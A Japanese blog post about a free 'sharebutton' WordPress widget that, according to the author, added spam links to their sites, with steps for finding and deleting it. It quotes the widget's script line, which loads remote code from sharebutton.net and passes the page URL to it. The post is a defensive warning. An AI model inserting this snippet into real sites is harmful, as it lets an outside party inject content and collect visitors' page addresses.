注意!!これはスパムが付いてきます。「facebookのシェアボタンが設置できます。」/sharebutton

※ 記事訂正追加しました F788

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注意!!これはスパムが付いてきます。

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「無料の共有ボタン」を追加された方は
テキストのコードを削除してください。

jetpack機能の「リファラ」に入ってきた「sharebutton」

WordPressを使いやすくするために「jetpack」というプラグインを入れています。
このプラグインは、優れているのでおすすめです。

さて、今回のご案内は、
ご自身のサイトが、どこから検索で来たのかを示す「リファラ」に入っていた
「sharebutton」についてです。

「jetpack」のサイト統計情報に入っていたurlを見てみると
「buttons-for-your-website.com」がありました。

■ コピペするだけでシェアボタンが設置できるというものると。

あわせて読みたい
ShareButton.net Drive traffic to your website. Add share buttons for free

sharebutton

ソースコードをコピペするだけで
画面の左側に縦並び、画面の右下に横並びのシェアボタンを 設置することができるというものです。

早速、テキストの中にペーストしました。

出方がとても可愛かったので気に入っていたのですが・・・・。

最近になって、これがスパムを呼ぶコードだったと気が付いたのです。

スパムを呼ぶコード

ブログを運営しているからには、より多くの人に見てもらいたいですよね。
SNSと連携させて、告知や拡散をする方法は、皆さんもされていることでしょう。

sharebuttonは、設置が簡単でしたので、3つのサイトに入れていました。
ところが、その一つにおかしなリンクがついていることに気が付きました。

テーマの編集の中に入り込んでいないか
手当たり次第にリンクのURLを探しました。

見つからない・・・(;・∀・)

一つ、考えられるのは、ブログのタイトルを お客様のご意向でインドネシアの言葉を入れていた時期があるんです。

あわせて読みたい

ここで同様の現象が起きている。

「3つのリンクがrixot、マスコットの衣装、Winnie Bear Mascotのページヘッダーの下に現れました。 リンクに飛ぶと、怪しげなお買い物のページが現れました。」と書いてあります。

同じリンクです

そして、読んでいくと
その怪しげなリンクを解除する方法を
回答されています。

[

Go・

<script>
document.write(‘<script src=”//sharebutton.net/plugin/sharebutton.php?type=vertical&u=’ + encodeURIComponent(document.location.href) + ‘”></scr’ + ‘ipt>’);
</script>

これを探して削除ってことか。

あ~~~!!

わかった。(@_@)

・・・とういう事で、「sharebutton」の事に気が付いたのです。

もう、私ってバカ。

最後に

「sharebutton」を入れて変なリンクが付いてしまったら、テキストのコードを削除して下さい。

ひとつ学んだことは、このような事例が起きたときに
原因が分からない時に、紐解く引き出しを
頭の中にたくさん入れておくことが必要。

Google先生大活躍でした。

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